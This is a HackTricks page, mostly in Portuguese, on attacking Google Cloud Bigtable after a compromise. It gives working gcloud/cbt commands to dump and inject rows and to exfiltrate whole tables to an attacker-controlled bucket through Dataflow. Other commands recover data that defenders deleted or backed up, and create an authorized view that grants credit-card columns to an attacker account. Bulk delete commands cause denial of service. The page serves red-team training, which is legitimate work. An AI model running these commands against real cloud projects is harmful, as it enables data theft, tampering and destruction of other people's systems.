GCP - Bigtable Post Exploitation

Tip

Aprenda e pratique AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Apoie o HackTricks

Bigtable

For more information about Bigtable check:

GCP - Bigtable Enum

Tip

Instale o cbt CLI uma vez via o Cloud SDK para que os comandos abaixo funcionem localmente:

Instale o cbt CLI
gcloud components install cbt

Ler linhas

PermissÔes: bigtable.tables.readRows

cbt vem com o Cloud SDK e se comunica com as APIs de administração/dados sem precisar de middleware. Aponte-o para o projeto/instĂąncia comprometida e descarregue as linhas diretamente da tabela. Limite a varredura se vocĂȘ sĂł precisar de uma olhada.

Ler entradas do Bigtable ```bash # Install cbt gcloud components update gcloud components install cbt

Read entries with creds of gcloud

cbt -project= -instance= read

</details>

### Escrever linhas

**PermissĂ”es:** `bigtable.tables.mutateRows`, (vocĂȘ precisarĂĄ de `bigtable.tables.readRows` para confirmar a alteração).

Use a mesma ferramenta para inserir/atualizar (upsert) células arbitrårias. Esta é a maneira mais råpida de backdoor configs, drop web shells, ou plant poisoned dataset rows.

<details>

<summary>Injetar linha maliciosa</summary>
```bash
# Inject a new row
cbt -project=<victim-proj> -instance=<instance-id> set <table> <row-key> <family>:<column>=<value>

cbt -project=<victim-proj> -instance=<instance-id> set <table-id> user#1337 profile:name="Mallory" profile:role="admin" secrets:api_key=@/tmp/stealme.bin

# Verify the injected row
cbt -project=<victim-proj> -instance=<instance-id> read <table-id> rows=user#1337

cbt set aceita bytes brutos via a sintaxe @/path, assim vocĂȘ pode enviar payloads compilados ou protobufs serializados exatamente como os serviços downstream esperam.

Exportar linhas para seu bucket

Permissions: dataflow.jobs.create, resourcemanager.projects.get, iam.serviceAccounts.actAs

É possĂ­vel exfiltrar o conteĂșdo de uma tabela inteira para um bucket controlado pelo atacante iniciando um job do Dataflow que transmite as linhas para um bucket GCS que vocĂȘ controla.

Note

Observe que vocĂȘ precisarĂĄ da permissĂŁo iam.serviceAccounts.actAs sobre algum SA com permissĂ”es suficientes para realizar a exportação (por padrĂŁo, se nĂŁo indicado de outra forma, o compute SA padrĂŁo serĂĄ usado).

Exportar Bigtable para um bucket GCS ```bash gcloud dataflow jobs run \ --gcs-location=gs://dataflow-templates-us-//Cloud_Bigtable_to_GCS_Json \ --project= \ --region= \ --parameters=,bigtableInstanceId=,bigtableTableId=,filenamePrefix=,outputDirectory=gs:///raw-json/ \ --staging-location=gs:///staging/

Example

gcloud dataflow jobs run dump-bigtable3
–gcs-location=gs://dataflow-templates-us-central1/latest/Cloud_Bigtable_to_GCS_Json
–project=gcp-labs-3uis1xlx
–region=us-central1
–parameters=bigtableProjectId=gcp-labs-3uis1xlx,bigtableInstanceId=avesc-20251118172913,bigtableTableId=prod-orders,filenamePrefix=prefx,outputDirectory=gs://deleteme20u9843rhfioue/raw-json/
–staging-location=gs://deleteme20u9843rhfioue/staging/

</details>

> [!NOTE]
> Altere o template para `Cloud_Bigtable_to_GCS_Parquet` ou `Cloud_Bigtable_to_GCS_SequenceFile` se quiser saídas Parquet/SequenceFile em vez de JSON. As permissÔes são as mesmas; somente o caminho do template muda.

### Importar linhas

**Permissions:** `dataflow.jobs.create`, `resourcemanager.projects.get`, `iam.serviceAccounts.actAs`

É possĂ­vel importar o conteĂșdo de uma tabela inteira de um bucket controlado pelo atacante lançando um job do Dataflow que faz stream de linhas para um bucket GCS que vocĂȘ controla. Para isso o atacante precisarĂĄ primeiro criar um arquivo parquet com os dados a serem importados no schema esperado. Um atacante pode primeiro exportar os dados em formato parquet seguindo a tĂ©cnica anterior com a configuração `Cloud_Bigtable_to_GCS_Parquet` e adicionar novas entradas no arquivo parquet baixado



> [!NOTE]
> Observe que vocĂȘ precisarĂĄ da permissĂŁo `iam.serviceAccounts.actAs` sobre alguma SA com permissĂ”es suficientes para realizar a exportação (por padrĂŁo, se nĂŁo indicado o contrĂĄrio, a SA de compute padrĂŁo serĂĄ usada).

<details>

<summary>Importar do bucket GCS para Bigtable</summary>
```bash
gcloud dataflow jobs run import-bt-$(date +%s) \
--region=<REGION> \
--gcs-location=gs://dataflow-templates-<REGION>/<VERSION>>/GCS_Parquet_to_Cloud_Bigtable \
--project=<PROJECT> \
--parameters=bigtableProjectId=<PROJECT>,bigtableInstanceId=<INSTANCE-ID>,bigtableTableId=<TABLE-ID>,inputFilePattern=gs://<BUCKET>/import/bigtable_import.parquet \
--staging-location=gs://<BUCKET>/staging/

# Example
gcloud dataflow jobs run import-bt-$(date +%s) \
--region=us-central1 \
--gcs-location=gs://dataflow-templates-us-central1/latest/GCS_Parquet_to_Cloud_Bigtable \
--project=gcp-labs-3uis1xlx \
--parameters=bigtableProjectId=gcp-labs-3uis1xlx,bigtableInstanceId=avesc-20251118172913,bigtableTableId=prod-orders,inputFilePattern=gs://deleteme20u9843rhfioue/import/parquet_prefx-00000-of-00001.parquet \
--staging-location=gs://deleteme20u9843rhfioue/staging/

Restaurando backups

PermissÔes: bigtable.backups.restore, bigtable.tables.create.

Um atacante com essas permissÔes pode restaurar um backup em uma nova tabela sob seu controle para recuperar dados sensíveis antigos.

Restaurar backup do Bigtable ```bash gcloud bigtable backups list --instance= \ --cluster=

gcloud bigtable instances tables restore
–source=projects/<PROJECT_ID_SOURCE>/instances/<INSTANCE_ID_SOURCE>/clusters/<CLUSTER_ID>/backups/<BACKUP_ID>
–async
–destination=<TABLE_ID_NEW>
–destination-instance=<INSTANCE_ID_DESTINATION>
–project=<PROJECT_ID_DESTINATION>

</details>

### Restaurar tabelas

**Permissions:** `bigtable.tables.undelete`

Bigtable oferece exclusĂŁo lĂłgica com um perĂ­odo de carĂȘncia (normalmente 7 dias por padrĂŁo). Durante essa janela, um atacante com a permissĂŁo `bigtable.tables.undelete` pode restaurar uma tabela recentemente excluĂ­da e recuperar todos os seus dados, potencialmente acessando informaçÔes sensĂ­veis que se pensava terem sido destruĂ­das.

Isto Ă© particularmente Ăștil para:
- Recuperar dados de tabelas excluĂ­das por defensores durante resposta a incidentes
- Acessar dados histĂłricos que foram eliminados intencionalmente
- Reverter exclusĂ”es acidentais ou maliciosas para manter persistĂȘncia

<details>

<summary>Restaurar tabela do Bigtable</summary>
```bash
# List recently deleted tables (requires bigtable.tables.list)
gcloud bigtable instances tables list --instance=<instance-id> \
--show-deleted

# Undelete a table within the retention period
gcloud bigtable instances tables undelete <table-id> \
--instance=<instance-id>

Note

A operação undelete só funciona dentro do período de retenção configurado (padrão 7 dias). Após essa janela expirar, a tabela e seus dados são permanentemente excluídos e não podem ser recuperados por este método.

Criar Authorized Views

PermissÔes: bigtable.authorizedViews.create, bigtable.tables.readRows, bigtable.tables.mutateRows

Authorized views permitem que vocĂȘ apresente um subconjunto selecionado da tabela. Em vez de respeitar o princĂ­pio do menor privilĂ©gio, use-os para publicar exatamente os conjuntos sensĂ­veis de colunas/linhas que lhe interessam e whitelist seu prĂłprio principal.

Warning

O problema Ă© que, para criar um authorized view vocĂȘ tambĂ©m precisa poder ler e modificar linhas na tabela base; portanto vocĂȘ nĂŁo estĂĄ obtendo nenhuma permissĂŁo extra, e por isso esta tĂ©cnica Ă© em grande parte inĂștil.

Criar authorized view ```bash cat <<'EOF' > /tmp/credit-cards.json { "subsetView": { "rowPrefixes": ["acct#"], "familySubsets": { "pii": { "qualifiers": ["cc_number", "cc_cvv"] } } } } EOF

gcloud bigtable authorized-views create card-dump
–instance= –table=
–definition-file=/tmp/credit-cards.json

gcloud bigtable authorized-views add-iam-policy-binding card-dump
–instance= –table=
–member=‘user:attacker@example.com’ –role=‘roles/bigtable.reader’

</details>

Como o acesso estĂĄ restrito Ă  view, os defensores frequentemente deixam de notar que vocĂȘ acabou de criar um novo endpoint de alta sensibilidade.

### Ler Authorized Views

**PermissÔes:** `bigtable.authorizedViews.readRows`

Se vocĂȘ tiver acesso a um Authorized View, pode ler dados dele usando as bibliotecas cliente do Bigtable, especificando o nome do Authorized View nas suas solicitaçÔes de leitura. Observe que o Authorized View provavelmente restringirĂĄ o que vocĂȘ pode acessar na tabela. Abaixo hĂĄ um exemplo usando Python:

<details>

<summary>Ler de Authorized View (Python)</summary>
```python
from google.cloud import bigtable
from google.cloud.bigtable_v2 import BigtableClient as DataClient
from google.cloud.bigtable_v2 import ReadRowsRequest

# Set your project, instance, table, view id
PROJECT_ID = "gcp-labs-3uis1xlx"
INSTANCE_ID = "avesc-20251118172913"
TABLE_ID = "prod-orders"
AUTHORIZED_VIEW_ID = "auth_view"

client = bigtable.Client(project=PROJECT_ID, admin=True)
instance = client.instance(INSTANCE_ID)
table = instance.table(TABLE_ID)

data_client = DataClient()
authorized_view_name = f"projects/{PROJECT_ID}/instances/{INSTANCE_ID}/tables/{TABLE_ID}/authorizedViews/{AUTHORIZED_VIEW_ID}"

request = ReadRowsRequest(
authorized_view_name=authorized_view_name
)

rows = data_client.read_rows(request=request)
for response in rows:
for chunk in response.chunks:
if chunk.row_key:
row_key = chunk.row_key.decode('utf-8') if isinstance(chunk.row_key, bytes) else chunk.row_key
print(f"Row: {row_key}")
if chunk.family_name:
family = chunk.family_name.value if hasattr(chunk.family_name, 'value') else chunk.family_name
qualifier = chunk.qualifier.value.decode('utf-8') if hasattr(chunk.qualifier, 'value') else chunk.qualifier.decode('utf-8')
value = chunk.value.decode('utf-8') if isinstance(chunk.value, bytes) else str(chunk.value)
print(f"  {family}:{qualifier} = {value}")

Negação de Serviço via operaçÔes de exclusão

PermissÔes: bigtable.appProfiles.delete, bigtable.authorizedViews.delete, bigtable.authorizedViews.deleteTagBinding, bigtable.backups.delete, bigtable.clusters.delete, bigtable.instances.delete, bigtable.tables.delete

Qualquer uma das permissÔes de exclusão do Bigtable pode ser explorada para ataques de negação de serviço. Um atacante com essas permissÔes pode interromper operaçÔes excluindo recursos críticos do Bigtable:

  • bigtable.appProfiles.delete: Excluir perfis de aplicativo, rompendo conexĂ”es de clientes e configuraçÔes de roteamento
  • bigtable.authorizedViews.delete: Remover visualizaçÔes autorizadas, bloqueando caminhos legĂ­timos de acesso para aplicaçÔes
  • bigtable.authorizedViews.deleteTagBinding: Remover associaçÔes de tags de visualizaçÔes autorizadas
  • bigtable.backups.delete: Destruir instantĂąneos de backup, eliminando opçÔes de recuperação de desastres
  • bigtable.clusters.delete: Excluir clusters inteiros, causando indisponibilidade imediata dos dados
  • bigtable.instances.delete: Remover instĂąncias completas do Bigtable, apagando todas as tabelas e configuraçÔes
  • bigtable.tables.delete: Excluir tabelas individuais, causando perda de dados e falhas nas aplicaçÔes
Excluir recursos do Bigtable ```bash # Delete a table gcloud bigtable instances tables delete \ --instance=

Delete an authorized view

gcloud bigtable authorized-views delete
–instance= –table=

Delete a backup

gcloud bigtable backups delete
–instance= –cluster=

Delete an app profile

gcloud bigtable app-profiles delete
–instance=

Delete a cluster

gcloud bigtable clusters delete
–instance=

Delete an entire instance

gcloud bigtable instances delete

</details>

> [!WARNING]
> OperaçÔes de exclusão costumam ser imediatas e irreversíveis. Certifique-se de que existam backups antes de testar esses comandos, pois eles podem causar perda permanente de dados e grave interrupção do serviço.

> [!TIP]
> Aprenda e pratique AWS Hacking:<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://hacktricks-training.com/courses/arte)<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">\
> Aprenda e pratique GCP Hacking: <img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training GCP Red Team Expert (GRTE)**](https://hacktricks-training.com/courses/grte)<img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">\
> Aprenda e pratique Az Hacking: <img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training Azure Red Team Expert (AzRTE)**](https://hacktricks-training.com/courses/azrte)<img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
>
> <details>
>
> <summary>Apoie o HackTricks</summary>
>
> - Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
> - **Participe do** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) ou do [**telegram group**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐩 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
> - **Compartilhe hacking tricks enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
>
> </details>